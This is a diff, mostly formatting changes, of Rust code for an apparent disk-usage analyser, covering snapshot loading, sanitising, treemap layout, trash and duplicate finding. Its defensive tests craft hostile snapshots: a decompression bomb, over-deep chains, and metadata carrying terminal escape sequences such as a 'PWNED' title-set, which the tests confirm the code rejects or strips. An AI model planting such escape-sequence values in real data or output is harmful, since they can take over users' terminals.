assert_eq!((again.node(0).tot_size, again.len(), again.stats.start), (13310, 8, t.stats.start)); assert_eq!(
(again.node(0).tot_size, again.len(), again.stats.start),
(13310, 8, t.stats.start)
);
} }
// Hostile input. // Hostile input.
@@ -877,7 +1061,11 @@ mod tests {
out.extend_from_slice(brand::SNAPSHOT_MAGIC); out.extend_from_slice(brand::SNAPSHOT_MAGIC);
out.extend_from_slice(&VERSION.to_le_bytes()); out.extend_from_slice(&VERSION.to_le_bytes());
out.extend_from_slice(&FLAG_GZIPPED.to_le_bytes()); out.extend_from_slice(&FLAG_GZIPPED.to_le_bytes());
let mut w = Writer { gz: GzEncoder::new(out, Compression::best()), h: Sha256::new(), buf: Vec::new() }; let mut w = Writer {
gz: GzEncoder::new(out, Compression::best()),
h: Sha256::new(),
buf: Vec::new(),
};
w.uvarint(meta.len() as u64).unwrap(); w.uvarint(meta.len() as u64).unwrap();
w.bytes(meta.as_bytes()).unwrap(); w.bytes(meta.as_bytes()).unwrap();
w.uvarint(1).unwrap(); w.uvarint(1).unwrap();
@@ -908,49 +1096,80 @@ mod tests {
} }
fn chain(n: usize) -> Vec<u8> { fn chain(n: usize) -> Vec<u8> {
craft(n, r#"{"root":"/r"}"#, |i, w| if i == 0 { node(w, 0, Kind::Dir, "", 0) } else { node(w, 1, Kind::Dir, "a", 0) }) craft(n, r#"{"root":"/r"}"#, |i, w| {
if i == 0 {
node(w, 0, Kind::Dir, "", 0)
} else {
node(w, 1, Kind::Dir, "a", 0)
}
})
} }
#[test] #[test]
fn deep_chain_rejected() { fn deep_chain_rejected() {
load(&chain(MAX_DEPTH as usize + 1)[..]).expect("depth at the limit must load"); load(&chain(MAX_DEPTH as usize + 1)[..]).expect("depth at the limit must load");
let err = load(&chain(MAX_DEPTH as usize + 2)[..]).err().expect("over-deep chain accepted"); let err = load(&chain(MAX_DEPTH as usize + 2)[..])
.err()
.expect("over-deep chain accepted");
assert!(err.to_string().contains("deeper"), "{err}"); assert!(err.to_string().contains("deeper"), "{err}");
} }
#[test] #[test]
fn decompression_bomb_limited() { fn decompression_bomb_limited() {
let flat = craft(100_000, r#"{"root":"/r"}"#, |i, w| { let flat = craft(100_000, r#"{"root":"/r"}"#, |i, w| {
if i == 0 { node(w, 0, Kind::Dir, "", 0) } else { node(w, i as u64, Kind::File, "f", 0) } if i == 0 {
node(w, 0, Kind::Dir, "", 0)
} else {
node(w, i as u64, Kind::File, "f", 0)
}
}); });
let err = load_limit(&flat[..], 64 << 10).err().expect("bomb not limited"); let err = load_limit(&flat[..], 64 << 10)
.err()
.expect("bomb not limited");
assert!(err.to_string().contains("limit"), "{err}"); assert!(err.to_string().contains("limit"), "{err}");
assert!(body_limit(flat.len() as i64) >= 64 << 20, "body_limit floor"); assert!(
body_limit(flat.len() as i64) >= 64 << 20,
"body_limit floor"
);
} }
#[test] #[test]
fn huge_sizes_do_not_wrap() { fn huge_sizes_do_not_wrap() {
let data = craft(3, r#"{"root":"/r"}"#, |i, w| { let data = craft(3, r#"{"root":"/r"}"#, |i, w| {
if i == 0 { node(w, 0, Kind::Dir, "", 0) } else { node(w, i as u64, Kind::File, "f", MAX_SIZE) } if i == 0 {
node(w, 0, Kind::Dir, "", 0)
} else {
node(w, i as u64, Kind::File, "f", MAX_SIZE)
}
}); });
let tr = load(&data[..]).unwrap(); let tr = load(&data[..]).unwrap();
assert!(tr.node(0).tot_size >= 0, "aggregate wrapped negative"); assert!(tr.node(0).tot_size >= 0, "aggregate wrapped negative");
let over = craft(2, r#"{"root":"/r"}"#, |i, w| { let over = craft(2, r#"{"root":"/r"}"#, |i, w| {
if i == 0 { node(w, 0, Kind::Dir, "", 0) } else { node(w, 1, Kind::File, "f", MAX_SIZE + 1) } if i == 0 {
node(w, 0, Kind::Dir, "", 0)
} else {
node(w, 1, Kind::File, "f", MAX_SIZE + 1)
}
}); });
assert!(load(&over[..]).is_err(), "size above MAX_SIZE accepted"); assert!(load(&over[..]).is_err(), "size above MAX_SIZE accepted");
} }
#[test] #[test]
fn hostile_metadata_sanitised_in_summary() { fn hostile_metadata_sanitised_in_summary() {
let data = craft(1, r#"{"root":"/r\u001b[2J","excludes":["\u001b]0;PWNED\u0007"],"excluded":1}"#, |_, w| { let data = craft(
node(w, 0, Kind::Dir, "", 0) 1,
}); r#"{"root":"/r\u001b[2J","excludes":["\u001b]0;PWNED\u0007"],"excluded":1}"#,
|_, w| node(w, 0, Kind::Dir, "", 0),
);
let mut tr = load(&data[..]).unwrap(); let mut tr = load(&data[..]).unwrap();
tr.stats.excluded = 1; tr.stats.excluded = 1;
let mut b = Vec::new(); let mut b = Vec::new();
crate::export::summary(&mut b, &tr).unwrap(); crate::export::summary(&mut b, &tr).unwrap();
assert!(!b.iter().any(|&c| c == 0x1b || c == 0x07), "raw control characters in summary: {:?}", String::from_utf8_lossy(&b)); assert!(
!b.iter().any(|&c| c == 0x1b || c == 0x07),
"raw control characters in summary: {:?}",
String::from_utf8_lossy(&b)
);
} }
/// Blocks of one directory plus K-1 files repeat byte for byte, so a /// Blocks of one directory plus K-1 files repeat byte for byte, so a
@@ -971,7 +1190,9 @@ mod tests {
fs::write(&p, &data).unwrap(); fs::write(&p, &data).unwrap();
let res = load_file(&p); let res = load_file(&p);
let _ = fs::remove_file(&p); let _ = fs::remove_file(&p);
let err = res.err().unwrap_or_else(|| panic!("{N} nodes from a {}-byte file accepted", data.len())); let err = res
.err()
.unwrap_or_else(|| panic!("{N} nodes from a {}-byte file accepted", data.len()));
assert!(err.to_string().contains("node count"), "{err}"); assert!(err.to_string().contains("node count"), "{err}");
} }
@@ -983,7 +1204,11 @@ mod tests {
save_file(&p, &sample()).unwrap(); save_file(&p, &sample()).unwrap();
assert!(is_snapshot(&p)); assert!(is_snapshot(&p));
assert_eq!(load_file(&p).unwrap().len(), 5); assert_eq!(load_file(&p).unwrap().len(), 5);
assert_eq!(fs::read_dir(&dir).unwrap().count(), 1, "temp file left behind"); assert_eq!(
fs::read_dir(&dir).unwrap().count(),
1,
"temp file left behind"
);
fs::remove_dir_all(&dir).unwrap(); fs::remove_dir_all(&dir).unwrap();
} }
} }
+33 -6
View File
@@ -41,7 +41,11 @@ pub fn sanitize(s: &str) -> String {
} }
fn is_bidi_control(r: u32) -> bool { fn is_bidi_control(r: u32) -> bool {
(0x202a..=0x202e).contains(&r) || (0x2066..=0x2069).contains(&r) || r == 0x200e || r == 0x200f || r == 0x061c (0x202a..=0x202e).contains(&r)
|| (0x2066..=0x2069).contains(&r)
|| r == 0x200e
|| r == 0x200f
|| r == 0x061c
} }
/// Calls f for each grapheme cluster of s with its display width. Clusters /// Calls f for each grapheme cluster of s with its display width. Clusters
@@ -53,7 +57,11 @@ pub fn clusters(s: &str, mut f: impl FnMut(&str, usize) -> bool) {
for c in s.graphemes(true) { for c in s.graphemes(true) {
let mut chars = c.chars(); let mut chars = c.chars();
let first = chars.next().unwrap(); let first = chars.next().unwrap();
let w = if chars.next().is_none() { first.width().unwrap_or(0) } else { c.width() }; let w = if chars.next().is_none() {
first.width().unwrap_or(0)
} else {
c.width()
};
if w == 0 { if w == 0 {
continue; continue;
} }
@@ -171,7 +179,11 @@ const IEC_UNITS: [&str; 7] = ["B", "KiB", "MiB", "GiB", "TiB", "PiB", "EiB"];
const SI_UNITS: [&str; 7] = ["B", "kB", "MB", "GB", "TB", "PB", "EB"]; const SI_UNITS: [&str; 7] = ["B", "kB", "MB", "GB", "TB", "PB", "EB"];
fn scaled(n: i64) -> (f64, &'static str) { fn scaled(n: i64) -> (f64, &'static str) {
let (base, units) = if si() { (1000.0, &SI_UNITS) } else { (1024.0, &IEC_UNITS) }; let (base, units) = if si() {
(1000.0, &SI_UNITS)
} else {
(1024.0, &IEC_UNITS)
};
let neg = n < 0; let neg = n < 0;
let mut v = (n as f64).abs(); let mut v = (n as f64).abs();
let mut i = 0; let mut i = 0;
@@ -295,7 +307,14 @@ mod tests {
#[test] #[test]
fn sizes() { fn sizes() {
for (n, want) in [(0, "0 B"), (1023, "1023 B"), (1024, "1.00 KiB"), (1536, "1.50 KiB"), (181 << 30, "181 GiB"), (1 << 62, "4.00 EiB")] { for (n, want) in [
(0, "0 B"),
(1023, "1023 B"),
(1024, "1.00 KiB"),
(1536, "1.50 KiB"),
(181 << 30, "181 GiB"),
(1 << 62, "4.00 EiB"),
] {
assert_eq!(size(n), want); assert_eq!(size(n), want);
} }
assert_eq!(count(2184392), "2,184,392"); assert_eq!(count(2184392), "2,184,392");
@@ -330,7 +349,12 @@ pub fn rfc3339_utc(unix_nanos: i64) -> String {
let d = doy - (153 * mp + 2) / 5 + 1; let d = doy - (153 * mp + 2) / 5 + 1;
let m = if mp < 10 { mp + 3 } else { mp - 9 }; let m = if mp < 10 { mp + 3 } else { mp - 9 };
let y = yoe + era * 400 + (m <= 2) as i64; let y = yoe + era * 400 + (m <= 2) as i64;
format!("{y:04}-{m:02}-{d:02}T{:02}:{:02}:{:02}Z", rem / 3600, rem / 60 % 60, rem % 60) format!(
"{y:04}-{m:02}-{d:02}T{:02}:{:02}:{:02}Z",
rem / 3600,
rem / 60 % 60,
rem % 60
)
} }
/// Formats a duration like Go's time.Duration.String after rounding to /// Formats a duration like Go's time.Duration.String after rounding to
@@ -365,7 +389,10 @@ mod time_tests {
#[test] #[test]
fn formats() { fn formats() {
assert_eq!(rfc3339_utc(0), "1970-01-01T00:00:00Z"); assert_eq!(rfc3339_utc(0), "1970-01-01T00:00:00Z");
assert_eq!(rfc3339_utc(1_791_456_000 * 1_000_000_000), "2026-10-08T10:40:00Z"); assert_eq!(
rfc3339_utc(1_791_456_000 * 1_000_000_000),
"2026-10-08T10:40:00Z"
);
assert_eq!(go_duration(Duration::from_micros(1_234_400)), "1.234s"); assert_eq!(go_duration(Duration::from_micros(1_234_400)), "1.234s");
assert_eq!(go_duration(Duration::from_millis(250)), "250ms"); assert_eq!(go_duration(Duration::from_millis(250)), "250ms");
assert_eq!(go_duration(Duration::from_millis(123_500)), "2m3.5s"); assert_eq!(go_duration(Duration::from_millis(123_500)), "2m3.5s");
+93 -15
View File
@@ -33,7 +33,12 @@ impl Rect {
/// Shrinks by n cells on each side. /// Shrinks by n cells on each side.
pub fn inset(&self, n: i32) -> Rect { pub fn inset(&self, n: i32) -> Rect {
Rect { x: self.x + n, y: self.y + n, w: (self.w - 2 * n).max(0), h: (self.h - 2 * n).max(0) } Rect {
x: self.x + n,
y: self.y + n,
w: (self.w - 2 * n).max(0),
h: (self.h - 2 * n).max(0),
}
} }
} }
@@ -61,7 +66,11 @@ pub fn squarify(items: &[Item], bounds: Rect) -> Vec<Block> {
if bounds.empty() { if bounds.empty() {
return Vec::new(); return Vec::new();
} }
let mut its: Vec<Item> = items.iter().copied().filter(|it| it.size > 0.0 && it.size.is_finite()).collect(); let mut its: Vec<Item> = items
.iter()
.copied()
.filter(|it| it.size > 0.0 && it.size.is_finite())
.collect();
let total: f64 = its.iter().map(|it| it.size).sum(); let total: f64 = its.iter().map(|it| it.size).sum();
if its.is_empty() || total <= 0.0 { if its.is_empty() || total <= 0.0 {
return Vec::new(); return Vec::new();
@@ -69,14 +78,28 @@ pub fn squarify(items: &[Item], bounds: Rect) -> Vec<Block> {
its.sort_by(|a, b| b.size.total_cmp(&a.size).then(a.id.cmp(&b.id))); its.sort_by(|a, b| b.size.total_cmp(&a.size).then(a.id.cmp(&b.id)));
let scale = bounds.w as f64 * bounds.h as f64 / total; let scale = bounds.w as f64 * bounds.h as f64 / total;
let areas: Vec<f64> = its.iter().map(|it| it.size * scale).collect(); let areas: Vec<f64> = its.iter().map(|it| it.size * scale).collect();
let frs = layout(&areas, bounds.x as f64, bounds.y as f64, bounds.w as f64, bounds.h as f64); let frs = layout(
&areas,
bounds.x as f64,
bounds.y as f64,
bounds.w as f64,
bounds.h as f64,
);
let mut out = Vec::with_capacity(its.len()); let mut out = Vec::with_capacity(its.len());
for (it, f) in its.iter().zip(frs) { for (it, f) in its.iter().zip(frs) {
let (x0, y0) = (f[0].round() as i32, f[1].round() as i32); let (x0, y0) = (f[0].round() as i32, f[1].round() as i32);
let x1 = ((f[0] + f[2]).round() as i32).min(bounds.x + bounds.w); let x1 = ((f[0] + f[2]).round() as i32).min(bounds.x + bounds.w);
let y1 = ((f[1] + f[3]).round() as i32).min(bounds.y + bounds.h); let y1 = ((f[1] + f[3]).round() as i32).min(bounds.y + bounds.h);
if x1 > x0 && y1 > y0 { if x1 > x0 && y1 > y0 {
out.push(Block { id: it.id, rect: Rect { x: x0, y: y0, w: x1 - x0, h: y1 - y0 } }); out.push(Block {
id: it.id,
rect: Rect {
x: x0,
y: y0,
w: x1 - x0,
h: y1 - y0,
},
});
} }
} }
out out
@@ -117,7 +140,11 @@ fn layout(areas: &[f64], mut x: f64, mut y: f64, mut w: f64, mut h: f64) -> Vec<
} }
let mut yy = y; let mut yy = y;
for k in i..j { for k in i..j {
let hh = if k == j - 1 { y + h - yy } else { areas[k] / sum * h }; let hh = if k == j - 1 {
y + h - yy
} else {
areas[k] / sum * h
};
out[k] = [x, yy, thick, hh]; out[k] = [x, yy, thick, hh];
yy += hh; yy += hh;
} }
@@ -130,7 +157,11 @@ fn layout(areas: &[f64], mut x: f64, mut y: f64, mut w: f64, mut h: f64) -> Vec<
} }
let mut xx = x; let mut xx = x;
for k in i..j { for k in i..j {
let ww = if k == j - 1 { x + w - xx } else { areas[k] / sum * w }; let ww = if k == j - 1 {
x + w - xx
} else {
areas[k] / sum * w
};
out[k] = [xx, y, ww, thick]; out[k] = [xx, y, ww, thick];
xx += ww; xx += ww;
} }
@@ -203,7 +234,10 @@ pub(crate) mod tests {
for bl in blocks { for bl in blocks {
let br = bl.rect; let br = bl.rect;
assert!(br.w > 0 && br.h > 0, "non-positive block {bl:?}"); assert!(br.w > 0 && br.h > 0, "non-positive block {bl:?}");
assert!(br.x >= b.x && br.y >= b.y && br.x + br.w <= b.x + b.w && br.y + br.h <= b.y + b.h, "block {bl:?} outside bounds {b:?}"); assert!(
br.x >= b.x && br.y >= b.y && br.x + br.w <= b.x + b.w && br.y + br.h <= b.y + b.h,
"block {bl:?} outside bounds {b:?}"
);
for y in br.y..br.y + br.h { for y in br.y..br.y + br.h {
for x in br.x..br.x + br.w { for x in br.x..br.x + br.w {
let i = ((y - b.y) * b.w + (x - b.x)) as usize; let i = ((y - b.y) * b.w + (x - b.x)) as usize;
@@ -222,7 +256,15 @@ pub(crate) mod tests {
#[test] #[test]
fn squarify_basic() { fn squarify_basic() {
let b = r(2, 3, 60, 20); let b = r(2, 3, 60, 20);
let items = [it(1, 6.0), it(2, 6.0), it(3, 4.0), it(4, 3.0), it(5, 2.0), it(6, 2.0), it(7, 1.0)]; let items = [
it(1, 6.0),
it(2, 6.0),
it(3, 4.0),
it(4, 3.0),
it(5, 2.0),
it(6, 2.0),
it(7, 1.0),
];
let blocks = squarify(&items, b); let blocks = squarify(&items, b);
assert_eq!(blocks.len(), items.len()); assert_eq!(blocks.len(), items.len());
check_partition(&blocks, b, true); check_partition(&blocks, b, true);
@@ -230,7 +272,11 @@ pub(crate) mod tests {
for bl in &blocks { for bl in &blocks {
let want = b.area() as f64 * items[(bl.id - 1) as usize].size / 24.0; let want = b.area() as f64 * items[(bl.id - 1) as usize].size / 24.0;
let got = bl.rect.area() as f64; let got = bl.rect.area() as f64;
assert!(got >= want * 0.6 - 4.0 && got <= want * 1.4 + 4.0, "block {} area {got} want ~{want}", bl.id); assert!(
got >= want * 0.6 - 4.0 && got <= want * 1.4 + 4.0,
"block {} area {got} want ~{want}",
bl.id
);
} }
// Deterministic regardless of input order. // Deterministic regardless of input order.
let mut rev = items.to_vec(); let mut rev = items.to_vec();
@@ -241,9 +287,18 @@ pub(crate) mod tests {
#[test] #[test]
fn squarify_edge_cases() { fn squarify_edge_cases() {
assert!(squarify(&[], r(0, 0, 10, 10)).is_empty()); assert!(squarify(&[], r(0, 0, 10, 10)).is_empty());
assert!(squarify(&[it(1, 0.0), it(2, -5.0)], r(0, 0, 10, 10)).is_empty(), "zero sizes should produce nothing"); assert!(
squarify(&[it(1, 0.0), it(2, -5.0)], r(0, 0, 10, 10)).is_empty(),
"zero sizes should produce nothing"
);
assert!(squarify(&[it(1, f64::NAN), it(2, f64::INFINITY)], r(0, 0, 10, 10)).is_empty()); assert!(squarify(&[it(1, f64::NAN), it(2, f64::INFINITY)], r(0, 0, 10, 10)).is_empty());
for b in [r(0, 0, 0, 0), r(0, 0, 1, 1), r(0, 0, 1, 50), r(0, 0, 50, 1), r(0, 0, -3, 4)] { for b in [
r(0, 0, 0, 0),
r(0, 0, 1, 1),
r(0, 0, 1, 50),
r(0, 0, 50, 1),
r(0, 0, -3, 4),
] {
let bl = squarify(&[it(1, 5.0), it(2, 3.0), it(3, 1.0)], b); let bl = squarify(&[it(1, 5.0), it(2, 3.0), it(3, 1.0)], b);
if !b.empty() { if !b.empty() {
check_partition(&bl, b, true); check_partition(&bl, b, true);
@@ -258,7 +313,13 @@ pub(crate) mod tests {
#[test] #[test]
fn resize_recomputes() { fn resize_recomputes() {
let items = [it(1, 50.0), it(2, 30.0), it(3, 20.0)]; let items = [it(1, 50.0), it(2, 30.0), it(3, 20.0)];
for b in [r(0, 0, 80, 24), r(0, 0, 120, 40), r(0, 0, 300, 80), r(0, 0, 70, 20), r(0, 0, 180, 50)] { for b in [
r(0, 0, 80, 24),
r(0, 0, 120, 40),
r(0, 0, 300, 80),
r(0, 0, 70, 20),
r(0, 0, 180, 50),
] {
let bl = squarify(&items, b); let bl = squarify(&items, b);
check_partition(&bl, b, true); check_partition(&bl, b, true);
assert_eq!(bl.len(), 3, "{b:?}"); assert_eq!(bl.len(), 3, "{b:?}");
@@ -270,7 +331,11 @@ pub(crate) mod tests {
fn squarify_random_partitions() { fn squarify_random_partitions() {
let mut rng = Rng::new(1); let mut rng = Rng::new(1);
for _ in 0..300 { for _ in 0..300 {
let (w, h, n) = (rng.intn(400) as i32, rng.intn(150) as i32, rng.intn(3000) as usize); let (w, h, n) = (
rng.intn(400) as i32,
rng.intn(150) as i32,
rng.intn(3000) as usize,
);
let items: Vec<Item> = (0..n) let items: Vec<Item> = (0..n)
.map(|i| { .map(|i| {
let bits = rng.intn(40) + 1; let bits = rng.intn(40) + 1;
@@ -290,12 +355,25 @@ pub(crate) mod tests {
let sizes = [100.0, 50.0, 10.0, 1.0, 1.0, 1.0]; let sizes = [100.0, 50.0, 10.0, 1.0, 1.0, 1.0];
assert_eq!(visible(&sizes, 163.0, 1630, 20, 100), 3); assert_eq!(visible(&sizes, 163.0, 1630, 20, 100), 3);
assert_eq!(visible(&sizes, 163.0, 1630, 20, 2), 2, "max_items"); assert_eq!(visible(&sizes, 163.0, 1630, 20, 2), 2, "max_items");
assert_eq!(visible(&[10.0, 1.0], 11.0, 1100, 200, 10), 2, "single leftover"); assert_eq!(
visible(&[10.0, 1.0], 11.0, 1100, 200, 10),
2,
"single leftover"
);
} }
#[test] #[test]
fn at_finds_block() { fn at_finds_block() {
let bl = [Block { id: 1, rect: r(0, 0, 5, 5) }, Block { id: 2, rect: r(5, 0, 5, 5) }]; let bl = [
Block {
id: 1,
rect: r(0, 0, 5, 5),
},
Block {
id: 2,
rect: r(5, 0, 5, 5),
},
];
assert_eq!(at(&bl, 6, 2), Some(2)); assert_eq!(at(&bl, 6, 2), Some(2));
assert_eq!(at(&bl, 10, 2), None); assert_eq!(at(&bl, 10, 2), None);
} }
+60 -11
View File
@@ -33,10 +33,38 @@ pub fn neighbour(blocks: &[Block], sel: i64, d: Direction) -> Option<i64> {
} }
let c = b.rect; let c = b.rect;
let (ok, gap, lo, hi, clo, chi) = match d { let (ok, gap, lo, hi, clo, chi) = match d {
Direction::Right => (c.x >= s.x + s.w, c.x - (s.x + s.w), s.y, s.y + s.h, c.y, c.y + c.h), Direction::Right => (
Direction::Left => (c.x + c.w <= s.x, s.x - (c.x + c.w), s.y, s.y + s.h, c.y, c.y + c.h), c.x >= s.x + s.w,
Direction::Down => (c.y >= s.y + s.h, c.y - (s.y + s.h), s.x, s.x + s.w, c.x, c.x + c.w), c.x - (s.x + s.w),
Direction::Up => (c.y + c.h <= s.y, s.y - (c.y + c.h), s.x, s.x + s.w, c.x, c.x + c.w), s.y,
s.y + s.h,
c.y,
c.y + c.h,
),
Direction::Left => (
c.x + c.w <= s.x,
s.x - (c.x + c.w),
s.y,
s.y + s.h,
c.y,
c.y + c.h,
),
Direction::Down => (
c.y >= s.y + s.h,
c.y - (s.y + s.h),
s.x,
s.x + s.w,
c.x,
c.x + c.w,
),
Direction::Up => (
c.y + c.h <= s.y,
s.y - (c.y + c.h),
s.x,
s.x + s.w,
c.x,
c.x + c.w,
),
}; };
if !ok { if !ok {
continue; continue;
@@ -68,7 +96,10 @@ mod tests {
use super::Direction::*; use super::Direction::*;
fn blk(id: i64, x: i32, y: i32, w: i32, h: i32) -> Block { fn blk(id: i64, x: i32, y: i32, w: i32, h: i32) -> Block {
Block { id, rect: r(x, y, w, h) } Block {
id,
rect: r(x, y, w, h),
}
} }
// Layout: // Layout:
@@ -86,9 +117,18 @@ mod tests {
let d = blk(4, 4, 4, 12, 4); let d = blk(4, 4, 4, 12, 4);
let bs = [d, c, b, a]; // order must not matter let bs = [d, c, b, a]; // order must not matter
let cases = [ let cases = [
(1, Right, Some(2)), (2, Left, Some(1)), (1, Down, Some(3)), (2, Down, Some(4)), (1, Right, Some(2)),
(3, Right, Some(4)), (4, Left, Some(3)), (3, Up, Some(1)), (4, Up, Some(2)), (2, Left, Some(1)),
(1, Left, None), (1, Up, None), (4, Right, None), (4, Down, None), (1, Down, Some(3)),
(2, Down, Some(4)),
(3, Right, Some(4)),
(4, Left, Some(3)),
(3, Up, Some(1)),
(4, Up, Some(2)),
(1, Left, None),
(1, Up, None),
(4, Right, None),
(4, Down, None),
]; ];
for (from, dir, want) in cases { for (from, dir, want) in cases {
assert_eq!(neighbour(&bs, from, dir), want, "from {from} dir {dir:?}"); assert_eq!(neighbour(&bs, from, dir), want, "from {from} dir {dir:?}");
@@ -109,7 +149,11 @@ mod tests {
let r1 = blk(11, 10, 0, 10, 3); let r1 = blk(11, 10, 0, 10, 3);
let r2 = blk(12, 10, 3, 10, 3); let r2 = blk(12, 10, 3, 10, 3);
let r3 = blk(13, 10, 6, 10, 3); let r3 = blk(13, 10, 6, 10, 3);
assert_eq!(neighbour(&[r3, r1, r2, t], 10, Right), Some(12), "centre preference"); assert_eq!(
neighbour(&[r3, r1, r2, t], 10, Right),
Some(12),
"centre preference"
);
assert_eq!(neighbour(&[r3, r1, r2, t], 13, Left), Some(10), "back left"); assert_eq!(neighbour(&[r3, r1, r2, t], 13, Left), Some(10), "back left");
} }
@@ -122,7 +166,9 @@ mod tests {
let bl = squarify(&items, r(0, 0, 120, 40)); let bl = squarify(&items, r(0, 0, 120, 40));
for s in &bl { for s in &bl {
for d in [Left, Right, Up, Down] { for d in [Left, Right, Up, Down] {
let Some(id) = neighbour(&bl, s.id, d) else { continue }; let Some(id) = neighbour(&bl, s.id, d) else {
continue;
};
let c = bl.iter().find(|b| b.id == id).unwrap().rect; let c = bl.iter().find(|b| b.id == id).unwrap().rect;
let s = s.rect; let s = s.rect;
// In a partition, if any block touches the edge in direction d // In a partition, if any block touches the edge in direction d
@@ -133,7 +179,10 @@ mod tests {
Down => c.y == s.y + s.h, Down => c.y == s.y + s.h,
Up => c.y + c.h == s.y, Up => c.y + c.h == s.y,
}; };
assert!(touch, "iter {iter}: from {s:?} dir {d:?} chose non-adjacent {c:?}"); assert!(
touch,
"iter {iter}: from {s:?} dir {d:?} chose non-adjacent {c:?}"
);
} }
} }
} }
+156 -31
View File
@@ -36,11 +36,25 @@ impl Model {
} }
let n = tr.node(id); let n = tr.node(id);
let path = tr.path(id); let path = tr.path(id);
let want = Expect { uid: n.uid, mode: n.mode }; let want = Expect {
let what = if n.is_dir() { format!("directory with {} files", textutil::count(n.files as i64)) } else { "file".into() }; uid: n.uid,
let mut body = vec![san(&tr.path_bytes(id)), String::new(), format!("{what} · {}", textutil::size(n.total(self.size_mode))), String::new()]; mode: n.mode,
};
let what = if n.is_dir() {
format!("directory with {} files", textutil::count(n.files as i64))
} else {
"file".into()
};
let mut body = vec![
san(&tr.path_bytes(id)),
String::new(),
format!("{what} · {}", textutil::size(n.total(self.size_mode))),
String::new(),
];
if platform::headless() { if platform::headless() {
body.push("This is a headless system (no X or Wayland display), so there is no trash:".into()); body.push(
"This is a headless system (no X or Wayland display), so there is no trash:".into(),
);
body.push("it will be permanently deleted and cannot be recovered.".into()); body.push("it will be permanently deleted and cannot be recovered.".into());
self.open_modal(Box::new(ConfirmModal { self.open_modal(Box::new(ConfirmModal {
ttl: "Delete permanently? Are you sure?".into(), ttl: "Delete permanently? Are you sure?".into(),
@@ -50,13 +64,21 @@ impl Model {
let t = m.tree.clone(); let t = m.tree.clone();
Cmd::run(move || { Cmd::run(move || {
let err = platform::delete(&path, want).err().map(|e| e.to_string()); let err = platform::delete(&path, want).err().map(|e| e.to_string());
Msg::TrashDone { tree: t, id, err, done: "Deleted".into() } Msg::TrashDone {
tree: t,
id,
err,
done: "Deleted".into(),
}
}) })
})), })),
})); }));
return Cmd::None; return Cmd::None;
} }
body.push(format!("It will be moved to the {}, not permanently deleted.", platform::TRASH_NAME)); body.push(format!(
"It will be moved to the {}, not permanently deleted.",
platform::TRASH_NAME
));
self.open_modal(Box::new(ConfirmModal { self.open_modal(Box::new(ConfirmModal {
ttl: "Move to trash?".into(), ttl: "Move to trash?".into(),
body, body,
@@ -65,14 +87,25 @@ impl Model {
let t = m.tree.clone(); let t = m.tree.clone();
Cmd::run(move || { Cmd::run(move || {
let err = platform::trash(&path, want).err().map(|e| e.to_string()); let err = platform::trash(&path, want).err().map(|e| e.to_string());
Msg::TrashDone { tree: t, id, err, done: format!("Moved to {}", platform::TRASH_NAME) } Msg::TrashDone {
tree: t,
id,
err,
done: format!("Moved to {}", platform::TRASH_NAME),
}
}) })
})), })),
})); }));
Cmd::None Cmd::None
} }
pub fn trash_done(&mut self, tree: Arc<RwLock<Tree>>, id: NodeId, err: Option<String>, done: String) -> Cmd { pub fn trash_done(
&mut self,
tree: Arc<RwLock<Tree>>,
id: NodeId,
err: Option<String>,
done: String,
) -> Cmd {
if let Some(e) = err { if let Some(e) = err {
return self.warn(format!("Delete failed: {}", textutil::sanitize(&e))); return self.warn(format!("Delete failed: {}", textutil::sanitize(&e)));
} }
@@ -84,7 +117,13 @@ impl Model {
let name = { let name = {
let mut t = self.tree.write().unwrap(); let mut t = self.tree.write().unwrap();
let n = t.node(id).clone(); let n = t.node(id).clone();
let mut d = Delta { size: -n.tot_size, alloc: -n.tot_alloc, files: -(n.files as i64), dirs: -(n.dirs as i64), ..Default::default() }; let mut d = Delta {
size: -n.tot_size,
alloc: -n.tot_alloc,
files: -(n.files as i64),
dirs: -(n.dirs as i64),
..Default::default()
};
if n.is_dir() { if n.is_dir() {
d.dirs -= 1; d.dirs -= 1;
if let Some(cs) = t.cat_sizes(id) { if let Some(cs) = t.cat_sizes(id) {
@@ -125,21 +164,38 @@ impl Model {
"Files are grouped by size, then sampled, then fully hashed with SHA-256.".into(), "Files are grouped by size, then sampled, then fully hashed with SHA-256.".into(),
"Only identical hashes are reported as duplicates.".into(), "Only identical hashes are reported as duplicates.".into(),
String::new(), String::new(),
"This reads file contents (it may take a while and can update access times).".into(), "This reads file contents (it may take a while and can update access times)."
.into(),
], ],
yes: "start".into(), yes: "start".into(),
on_yes: Some(Box::new(|m: &mut Model| { on_yes: Some(Box::new(|m: &mut Model| {
let cancel = Cancel::new(); let cancel = Cancel::new();
let f = Arc::new(Finder::default()); let f = Arc::new(Finder::default());
m.dups = Some(DupState { running: true, finder: f.clone(), groups: Vec::new(), err: None, cancel: cancel.clone() }); m.dups = Some(DupState {
running: true,
finder: f.clone(),
groups: Vec::new(),
err: None,
cancel: cancel.clone(),
});
m.ensure_dup_view(); m.ensure_dup_view();
let t = m.tree.clone(); let t = m.tree.clone();
let tick = m.start_ticking(); let tick = m.start_ticking();
Cmd::batch(vec![ Cmd::batch(vec![
tick, tick,
Cmd::run(move || { Cmd::run(move || {
let g = f.find(&cancel, &t, duplicate::Options { min_size: 1, workers: 4 }); let g = f.find(
Msg::DupDone { finder: f, groups: g } &cancel,
&t,
duplicate::Options {
min_size: 1,
workers: 4,
},
);
Msg::DupDone {
finder: f,
groups: g,
}
}), }),
]) ])
})), })),
@@ -148,22 +204,39 @@ impl Model {
} }
pub fn ensure_dup_view(&mut self) { pub fn ensure_dup_view(&mut self) {
if let Some(i) = self.views.iter().position(|v| matches!(v, super::views::View::Dups(_))) { if let Some(i) = self
.views
.iter()
.position(|v| matches!(v, super::views::View::Dups(_)))
{
self.set_view(i); self.set_view(i);
return; return;
} }
self.views.push(super::views::View::Dups(DupView::default())); self.views
.push(super::views::View::Dups(DupView::default()));
self.set_view(self.views.len() - 1); self.set_view(self.views.len() - 1);
} }
pub fn dup_done(&mut self, finder: Arc<Finder>, groups: Option<Vec<duplicate::Group>>) -> Cmd { pub fn dup_done(&mut self, finder: Arc<Finder>, groups: Option<Vec<duplicate::Group>>) -> Cmd {
let Some(d) = self.dups.as_mut().filter(|d| Arc::ptr_eq(&d.finder, &finder)) else { return Cmd::None }; let Some(d) = self
.dups
.as_mut()
.filter(|d| Arc::ptr_eq(&d.finder, &finder))
else {
return Cmd::None;
};
d.running = false; d.running = false;
d.err = groups.is_none().then(|| "cancelled".to_string()); d.err = groups.is_none().then(|| "cancelled".to_string());
d.groups = groups.unwrap_or_default(); d.groups = groups.unwrap_or_default();
